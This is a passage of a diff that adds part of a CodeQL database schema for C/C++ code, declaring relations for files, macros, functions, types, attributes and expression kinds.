+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+    /** The location of an expression. */
+    unique int id: @location_expr,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+    int element_id: @sourceline ref,
+    int num_lines: int ref,
+    int num_code: int ref,
+    int num_comment: int ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+files(
+    unique int id: @file,
+    string name: string ref
+);
+
+folders(
+    unique int id: @folder,
+    string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+    int parent: @container ref,
+    unique int child: @container ref
+);
+
+fileannotations(
+    int id: @file ref,
+    int kind: int ref,
+    string name: string ref,
+    string value: string ref
+);
+
+inmacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+    int id: @element ref,
+    int inv: @macroinvocation ref
+);
+
+/*
+  case @macroinvocations.kind of
+    1 = macro expansion
+  | 2 = other macro reference
+  ;
+*/
+macroinvocations(
+    unique int id: @macroinvocation,
+    int macro_id: @ppd_define ref,
+    int location: @location_default ref,
+    int kind: int ref
+);
+
+macroparent(
+    unique int id: @macroinvocation ref,
+    int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+    int id: @macroinvocation ref,
+    int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+    int invocation: @macroinvocation ref,
+    int argument_index: int ref,
+    string text: string ref
+);
+
+/*
+  case @function.kind of
+    1 = normal
+  | 2 = constructor
+  | 3 = destructor
+  | 4 = conversion
+  | 5 = operator
+  | 6 = builtin     // GCC built-in functions, e.g. __builtin___memcpy_chk
+  ;
+*/
+functions(
+    unique int id: @function,
+    string name: string ref,
+    int kind: int ref
+);
+
+function_entry_point(int id: @function ref, unique int entry_point: @stmt ref);
+
+function_return_type(int id: @function ref, int return_type: @type ref);
+
+/** If `function` is a coroutine, then this gives the
+    std::experimental::resumable_traits instance associated with it,
+    and the variables representing the `handle` and `promise` for it. */
+coroutine(
+  unique int function: @function ref,
+  int traits: @type ref,
+  int handle: @variable ref,
+  int promise: @variable ref
+);
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+  unique int function: @function ref,
+  int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+  unique int function: @function ref,
+  int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+member_function_this_type(unique int id: @function ref, int this_type: @type ref);
+
+#keyset[id, type_id]
+fun_decls(
+    int id: @fun_decl,
+    int function: @function ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+    int id: @fun_decl ref,
+    string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+    int fun_decl: @fun_decl ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+    int fun_decl: @fun_decl ref,
+    int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+    unique int fun_decl: @fun_decl ref,
+    int typedeftype_id: @usertype ref
+);
+
+param_decl_bind(
+    unique int id: @var_decl ref,
+    int index: int ref,
+    int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+    int id: @var_decl,
+    int variable: @variable ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_decl_specifiers(
+    int id: @var_decl ref,
+    string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+
+type_decls(
+    unique int id: @type_decl,
+    int type_id: @type ref,
+    int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+    unique int type_decl: @type_decl ref
+);
+
+namespace_decls(
+    unique int id: @namespace_decl,
+    int namespace_id: @namespace ref,
+    int location: @location_default ref,
+    int bodylocation: @location_default ref
+);
+
+usings(
+    unique int id: @using,
+    int element_id: @element ref,
+    int location: @location_default ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+    int parent: @element ref,
+    int child: @using ref
+);
+
+static_asserts(
+    unique int id: @static_assert,
+    int condition : @expr ref,
+    string message : string ref,
+    int location: @location_default ref,
+    int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+    int id: @parameter,
+    int function: @functionorblock ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+overrides(int new: @function ref, int old: @function ref);
+
+#keyset[id, type_id]
+membervariables(
+    int id: @membervariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+    int id: @globalvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+    int id: @localvariable,
+    int type_id: @type ref,
+    string name: string ref
+);
+
+autoderivation(
+    unique int var: @variable ref,
+    int derivation_type: @type ref
+);
+
+enumconstants(
+    unique int id: @enumconstant,
+    int parent: @usertype ref,
+    int index: int ref,
+    int type_id: @type ref,
+    string name: string ref,
+    int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/*
+  Built-in types are the fundamental types, e.g., integral, floating, and void.
+
+  case @builtintype.kind of
+    1 = error
+  | 2 = unknown
+  | 3 = void
+  | 4 = boolean
+  | 5 = char
+  | 6 = unsigned_char
+  | 7 = signed_char
+  | 8 = short
+  | 9 = unsigned_short
+  | 10 = signed_short
+  | 11 = int
+  | 12 = unsigned_int
+  | 13 = signed_int
+  | 14 = long
+  | 15 = unsigned_long
+  | 16 = signed_long
+  | 17 = long_long
+  | 18 = unsigned_long_long
+  | 19 = signed_long_long
+  | 20 = __int8                 // Microsoft-specific
+  | 21 = __int16                // Microsoft-specific
+  | 22 = __int32                // Microsoft-specific
+  | 23 = __int64                // Microsoft-specific
+  | 24 = float
+  | 25 = double
+  | 26 = long_double
+  | 27 = _Complex_float         // C99-specific
+  | 28 = _Complex_double        // C99-specific
+  | 29 = _Complex_long double   // C99-specific
+  | 30 = _Imaginary_float       // C99-specific
+  | 31 = _Imaginary_double      // C99-specific
+  | 32 = _Imaginary_long_double // C99-specific
+  | 33 = wchar_t                // Microsoft-specific
+  | 34 = decltype_nullptr       // C++11
+  | 35 = __int128
+  | 36 = unsigned___int128
+  | 37 = signed___int128
+  | 38 = __float128
+  | 39 = _Complex___float128
+  | 40 = _Decimal32
+  | 41 = _Decimal64
+  | 42 = _Decimal128
+  | 43 = char16_t
+  | 44 = char32_t
+  | 45 = _Float32
+  | 46 = _Float32x
+  | 47 = _Float64
+  | 48 = _Float64x
+  | 49 = _Float128
+  | 50 = _Float128x
+  | 51 = char8_t
+  ;
+*/
+builtintypes(
+    unique int id: @builtintype,
+    string name: string ref,
+    int kind: int ref,
+    int size: int ref,
+    int sign: int ref,
+    int alignment: int ref
+);
+
+/*
+  Derived types are types that are directly derived from existing types and
+  point to, refer to, transform type data to return a new type.
+
+  case @derivedtype.kind of
+    1 = pointer
+  | 2 = reference
+  | 3 = type_with_specifiers
+  | 4 = array
+  | 5 = gnu_vector
+  | 6 = routineptr
+  | 7 = routinereference
+  | 8 = rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+  | 10 = block
+  ;
+*/
+derivedtypes(
+    unique int id: @derivedtype,
+    string name: string ref,
+    int kind: int ref,
+    int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+    int size: int ref,
+    int alignment: int ref);
+
+arraysizes(
+    unique int id: @derivedtype ref,
+    int num_elements: int ref,
+    int bytesize: int ref,
+    int alignment: int ref
+);
+
+typedefbase(
+    unique int id: @usertype ref,
+    int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator.  For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * would change the semantics of this decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+#keyset[id, expr]
+decltypes(
+    int id: @decltype,
+    int expr: @expr ref,
+    int base_type: @type ref,
+    boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+  case @usertype.kind of
+    1 = struct
+  | 2 = class
+  | 3 = union
+  | 4 = enum
+  | 5 = typedef                       // classic C: typedef typedef type name
+  | 6 = template
+  | 7 = template_parameter
+  | 8 = template_template_parameter
+  | 9 = proxy_class                   // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+  | 13 = scoped_enum
+  | 14 = using_alias                  // a using name = type style typedef
+  ;
+*/
+usertypes(
+    unique int id: @usertype,
+    string name: string ref,
+    int kind: int ref
+);
+
+usertypesize(
+    unique int id: @usertype ref,
+    int size: int ref,
+    int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+    unique int id: @usertype ref,
+    string uuid: string ref
+);
+
+mangled_name(
+    unique int id: @declaration ref,
+    int mangled_name : @mangledname
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+    int to: @usertype ref,
+    int from: @usertype ref
+);
+class_template_argument(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+class_template_argument_value(
+    int type_id: @usertype ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_proxy_class_for(
+    unique int id: @usertype ref,
+    unique int templ_param_id: @usertype ref
+);
+
+type_mentions(
+    unique int id: @type_mention,
+    int type_id: @type ref,
+    int location: @location ref,
+    // a_symbol_reference_kind from the EDG frontend.  See symbol_ref.h there.
+    int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+    unique int to: @function ref,
+    int from: @function ref
+);
+function_template_argument(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+function_template_argument_value(
+    int function_id: @function ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+    unique int to: @variable ref,
+    int from: @variable ref
+);
+variable_template_argument(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_type: @type ref
+);
+variable_template_argument_value(
+    int variable_id: @variable ref,
+    int index: int ref,
+    int arg_value: @expr ref
+);
+
+/*
+  Fixed point types
+  precision(1) = short, precision(2) = default, precision(3) = long
+  is_unsigned(1) = unsigned is_unsigned(2) = signed
+  is_fract_type(1) = declared with _Fract
+  saturating(1) = declared with _Sat
+*/
+/* TODO
+fixedpointtypes(
+    unique int id: @fixedpointtype,
+    int precision: int ref,
+    int is_unsigned: int ref,
+    int is_fract_type: int ref,
+    int saturating: int ref);
+*/
+
+routinetypes(
+    unique int id: @routinetype,
+    int return_type: @type ref
+);
+
+routinetypeargs(
+    int routine: @routinetype ref,
+    int index: int ref,
+    int type_id: @type ref
+);
+
+ptrtomembers(
+    unique int id: @ptrtomember,
+    int type_id: @type ref,
+    int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+    "public",
+    "protected",
+    "private",
+
+    "const",
+    "volatile",
+    "static",
+
+    "pure",
+    "virtual",
+    "sealed", // Microsoft
+    "__interface", // Microsoft
+    "inline",
+    "explicit",
+
+    "near", // near far extension
+    "far", // near far extension
+    "__ptr32", // Microsoft
+    "__ptr64", // Microsoft
+    "__sptr", // Microsoft
+    "__uptr", // Microsoft
+    "dllimport", // Microsoft
+    "dllexport", // Microsoft
+    "thread", // Microsoft
+    "naked", // Microsoft
+    "microsoft_inline", // Microsoft
+    "forceinline", // Microsoft
+    "selectany", // Microsoft
+    "nothrow", // Microsoft
+    "novtable", // Microsoft
+    "noreturn", // Microsoft
+    "noinline", // Microsoft
+    "noalias", // Microsoft
+    "restrict", // Microsoft
+*/
+
+specifiers(
+    unique int id: @specifier,
+    unique string str: string ref
+);
+
+typespecifiers(
+    int type_id: @type ref,
+    int spec_id: @specifier ref
+);
+
+funspecifiers(
+    int func_id: @function ref,
+    int spec_id: @specifier ref
+);
+
+varspecifiers(
+    int var_id: @accessible ref,
+    int spec_id: @specifier ref
+);
+
+attributes(
+    unique int id: @attribute,
+    int kind: int ref,
+    string name: string ref,
+    string name_space: string ref,
+    int location: @location_default ref
+);
+
+case @attribute.kind of
+  0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+    unique int id: @attribute_arg,
+    int kind: int ref,
+    int attribute: @attribute ref,
+    int index: int ref,
+    int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+  0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+;
+
+attribute_arg_value(
+    unique int arg: @attribute_arg ref,
+    string value: string ref
+);
+attribute_arg_type(
+    unique int arg: @attribute_arg ref,
+    int type_id: @type ref
+);
+attribute_arg_name(
+    unique int arg: @attribute_arg ref,
+    string name: string ref
+);
+
+typeattributes(
+    int type_id: @type ref,
+    int spec_id: @attribute ref
+);
+
+funcattributes(
+    int func_id: @function ref,
+    int spec_id: @attribute ref
+);
+
+varattributes(
+    int var_id: @accessible ref,
+    int spec_id: @attribute ref
+);
+
+stmtattributes(
+    int stmt_id: @stmt ref,
+    int spec_id: @attribute ref
+);
+
+@type = @builtintype
+      | @derivedtype
+      | @usertype
+      /* TODO | @fixedpointtype */
+      | @routinetype
+      | @ptrtomember
+      | @decltype;
+
+unspecifiedtype(
+    unique int type_id: @type ref,
+    int unspecified_type_id: @type ref
+);
+
+member(
+    int parent: @type ref,
+    int index: int ref,
+    int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+    unique int child: @enclosingfunction_child ref,
+    int parent: @function ref
+);
+
+derivations(
+    unique int derivation: @derivation,
+    int sub: @type ref,
+    int index: int ref,
+    int super: @type ref,
+    int location: @location_default ref
+);
+
+derspecifiers(
+    int der_id: @derivation ref,
+    int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+    unique int der_id: @derivation ref,
+    int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+    int sub: @usertype ref,
+    int super: @usertype ref,
+    int offset: int ref
+);
+
+frienddecls(
+    unique int id: @frienddecl,
+    int type_id: @type ref,
+    int decl_id: @declaration ref,
+    int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+             | @declaredtype
+             | @variable
+             | @enumconstant
+             | @frienddecl;
+
+@member = @membervariable
+        | @function
+        | @declaredtype
+        | @enumconstant;
+
+@locatable = @diagnostic
+           | @declaration
+           | @ppd_include
+           | @ppd_define
+           | @macroinvocation
+           /*| @funcall*/
+           | @xmllocatable
+           | @attribute
+           | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+         | @file
+         | @folder
+         | @specifier
+         | @type
+         | @expr
+         | @namespace
+         | @initialiser
+         | @stmt
+         | @derivation
+         | @comment
+         | @preprocdirect
+         | @fun_decl
+         | @var_decl
+         | @type_decl
+         | @namespace_decl
+         | @using
+         | @namequalifier
+         | @specialnamequalifyingelement
+         | @static_assert
+         | @type_mention
+         | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+    unique int id: @comment,
+    string contents: string ref,
+    int location: @location_default ref
+);
+
+commentbinding(
+    int id: @comment ref,
+    int element: @element ref
+);
+
+exprconv(
+    int converted: @expr ref,
+    unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+    int element: @element ref,
+    int i: int ref,
+    int destructor_call: @routineexpr ref
+);
+
+namespaces(
+    unique int id: @namespace,
+    string name: string ref
+);
+
+namespace_inline(
+    unique int id: @namespace ref
+);
+
+namespacembrs(
+    int parentid: @namespace ref,
+    unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+    int expr_id: @expr ref,
+    int child_index: int ref,
+    int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+      | @const_cast
+      | @dynamic_cast
+      | @reinterpret_cast
+      | @static_cast
+      ;
+
+/*
+case @conversion.kind of
+  0 = @simple_conversion           // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion             // conversion to 'bool'
+| 2 = @base_class_conversion       // a derived-to-base conversion
+| 3 = @derived_class_conversion    // a base-to-derived conversion
+| 4 = @pm_base_class_conversion    // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust              // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust              // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+    unique int expr_id: @cast ref,
+    int kind: int ref
+);
+
+@conversion = @cast
+            | @array_to_pointer
+            | @parexpr
+            | @reference_to
+            | @ref_indirect
+            | @temp_init
+            ;
+
+/*
+case @funbindexpr.kind of
+  0 = @normal_call  // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call     // a call whose target is only found by ADL
+;
+*/
+iscall(unique int caller: @funbindexpr ref, int kind: int ref);
+
+numtemplatearguments(
+    unique int expr_id: @expr ref,
+    int num: int ref
+);
+
+specialnamequalifyingelements(
+    unique int id: @specialnamequalifyingelement,
+    unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+                       | @specialnamequalifyingelement
+                       | @usertype;
+
+namequalifiers(
+    unique int id: @namequalifier,
+    unique int qualifiableelement: @namequalifiableelement ref,
+    int qualifyingelement: @namequalifyingelement ref,
+    int location: @location_default ref
+);
+
+varbind(
+    int expr: @varbindexpr ref,
+    int var: @accessible ref
+);
+
+funbind(
+    int expr: @funbindexpr ref,
+    int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+              | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+                    | @delete_expr
+                    | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+                  | @unaryplusexpr
+                  | @conjugation
+                  | @realpartexpr
+                  | @imagpartexpr
+                  | @crement_expr
+                  ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+            | @indirect
+            | @un_arith_op_expr
+            | @un_bitwise_op_expr
+            | @builtinaddressof
+            | @vec_fill
+            | @un_log_op_expr
+            | @co_await
+            | @co_yield
+            ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+             | @ltexpr
+             | @geexpr
+             | @leexpr
+             | @spaceshipexpr
+             ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+                     | @rshiftexpr
+                     | @andexpr
+                     | @orexpr
+                     | @xorexpr
+                     ;
+
+@p_arith_op_expr = @paddexpr
+                 | @psubexpr
+                 | @pdiffexpr
+                 ;
+
+@bin_arith_op_expr = @addexpr
+                   | @subexpr
+                   | @mulexpr
+                   | @divexpr
+                   | @remexpr
+                   | @jmulexpr
+                   | @jdivexpr
+                   | @fjaddexpr
+                   | @jfaddexpr
+                   | @fjsubexpr
+                   | @jfsubexpr
+                   | @minexpr
+                   | @maxexpr
+                   | @p_arith_op_expr
+                   ;
+
+@bin_op_expr = @bin_arith_op_expr
+             | @bin_bitwise_op_expr
+             | @cmp_op_expr
+             | @bin_log_op_expr
+             ;
+
+@op_expr = @un_op_expr
+         | @bin_op_expr
+         | @assign_expr
+         | @conditionalexpr
+         ;
+
+@assign_arith_expr = @assignaddexpr
+                   | @assignsubexpr
+                   | @assignmulexpr
+                   | @assigndivexpr
+                   | @assignremexpr
+                   ;
+
+@assign_bitwise_expr = @assignandexpr
+                     | @assignorexpr
+                     | @assignxorexpr
+                     | @assignlshiftexpr
+                     | @assignrshiftexpr
+                     | @assignpaddexpr
+                     | @assignpsubexpr
+                     ;
+
+@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr
+
+@assign_expr = @assignexpr | @assign_op_expr
+
+/*
+  case @allocator.form of
+    0 = plain
+  | 1 = alignment
+  ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+    unique int expr: @any_new_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/*
+  case @deallocator.form of
+    0 = plain
+  | 1 = size
+  | 2 = alignment
+  | 3 = size_and_alignment
+  ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+    unique int expr: @new_or_delete_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+    unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+    unique int cond: @conditionalexpr ref,
+    int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+    unique int cond: @conditionalexpr ref,
+    int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+    unique int cond: @conditionalexpr ref,
+    int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+    unique int id: @value,
+    string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+    unique int id: @value ref,
+    string text: string ref
+);
+
+valuebind(
+    int val: @value ref,
+    unique int expr: @expr ref
+);
+
+fieldoffsets(
+    unique int id: @variable ref,
+    int byteoffset: int ref,
+    int bitoffset: int ref
+);
+
+bitfield(
+    unique int id: @variable ref,
+    int bits: int ref,
+    int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+    int member: @expr ref,
+    int prefix: @expr ref
+);
+*/
+
+/*
+   kind(1) = mbrcallexpr
+   kind(2) = mbrptrcallexpr
+   kind(3) = mbrptrmbrcallexpr
+   kind(4) = ptrmbrptrmbrcallexpr
+   kind(5) = mbrreadexpr // x.y
+   kind(6) = mbrptrreadexpr // p->y
+   kind(7) = mbrptrmbrreadexpr // x.*pm
+   kind(8) = mbrptrmbrptrreadexpr // x->*pm
+   kind(9) = staticmbrreadexpr // static x.y
+   kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+    int member: @expr ref,
+    int kind: int ref
+);
+*/
+
+initialisers(
+    unique int init: @initialiser,
+    int var: @accessible ref,
+    unique int expr: @expr ref,
+    int location: @location_expr ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+    int exp: @expr ref,
+    int ancestor: @element ref
+);
+
+exprs(
+    unique int id: @expr,
+    int kind: int ref,
+    int location: @location_expr ref
+);
+
+/*
+  case @value.category of
+    1 = prval
+  | 2 = xval
+  | 3 = lval
+  ;
+*/
+expr_types(
+    int id: @expr ref,
+    int typeid: @type ref,
+    int value_category: int ref
+);
+
+case @expr.kind of
+    1 = @errorexpr
+|   2 = @address_of // & AddressOfExpr
+|   3 = @reference_to // ReferenceToExpr (implicit?)
+|   4 = @indirect // * PointerDereferenceExpr
+|   5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+|   8 = @array_to_pointer // (???)
+|   9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+|  11 = @assume // Microsoft
+|  12 = @parexpr
+|  13 = @arithnegexpr
+|  14 = @unaryplusexpr
+|  15 = @complementexpr
+|  16 = @notexpr
+|  17 = @conjugation // GNU ~ operator
+|  18 = @realpartexpr // GNU __real
+|  19 = @imagpartexpr // GNU __imag
+|  20 = @postincrexpr
+|  21 = @postdecrexpr
+|  22 = @preincrexpr
+|  23 = @predecrexpr
+|  24 = @conditionalexpr
+|  25 = @addexpr
+|  26 = @subexpr
+|  27 = @mulexpr
+|  28 = @divexpr
+|  29 = @remexpr
+|  30 = @jmulexpr // C99 mul imaginary
+|  31 = @jdivexpr // C99 div imaginary
+|  32 = @fjaddexpr // C99 add real + imaginary
+|  33 = @jfaddexpr // C99 add imaginary + real
+|  34 = @fjsubexpr // C99 sub real - imaginary
+|  35 = @jfsubexpr // C99 sub imaginary - real
+|  36 = @paddexpr // pointer add (pointer + int or int + pointer)
+|  37 = @psubexpr // pointer sub (pointer - integer)
+|  38 = @pdiffexpr // difference between two pointers
+|  39 = @lshiftexpr
+|  40 = @rshiftexpr
+|  41 = @andexpr
+|  42 = @orexpr
+|  43 = @xorexpr
+|  44 = @eqexpr
+|  45 = @neexpr
+|  46 = @gtexpr
+|  47 = @ltexpr
+|  48 = @geexpr
+|  49 = @leexpr
+|  50 = @minexpr // GNU minimum
+|  51 = @maxexpr // GNU maximum
+|  52 = @assignexpr
+|  53 = @assignaddexpr
+|  54 = @assignsubexpr
+|  55 = @assignmulexpr
+|  56 = @assigndivexpr
+|  57 = @assignremexpr
+|  58 = @assignlshiftexpr
+|  59 = @assignrshiftexpr
+|  60 = @assignandexpr
+|  61 = @assignorexpr
+|  62 = @assignxorexpr
+|  63 = @assignpaddexpr // assign pointer add
+|  64 = @assignpsubexpr // assign pointer sub
+|  65 = @andlogicalexpr
+|  66 = @orlogicalexpr
+|  67 = @commaexpr
+|  68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ...  69 @objc_subscriptexpr deprecated
+// ...  70 @cmdaccess deprecated
+// ...
+|  73 = @virtfunptrexpr
+|  74 = @callexpr
+// ...  75 @msgexpr_normal deprecated
+// ...  76 @msgexpr_super deprecated
+// ...  77 @atselectorexpr deprecated
+// ...  78 @atprotocolexpr deprecated
+|  79 = @vastartexpr
+|  80 = @vaargexpr
+|  81 = @vaendexpr
+|  82 = @vacopyexpr
+// ...  83 @atencodeexpr deprecated
+|  84 = @varaccess
+|  85 = @thisaccess
+// ...  86 @objc_box_expr deprecated
+|  87 = @new_expr
+|  88 = @delete_expr
+|  89 = @throw_expr
+|  90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+|  91 = @braced_init_list
+|  92 = @type_id
+|  93 = @runtime_sizeof
+|  94 = @runtime_alignof
+|  95 = @sizeof_pack
+|  96 = @expr_stmt // GNU extension
+|  97 = @routineexpr
+|  98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+|  99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
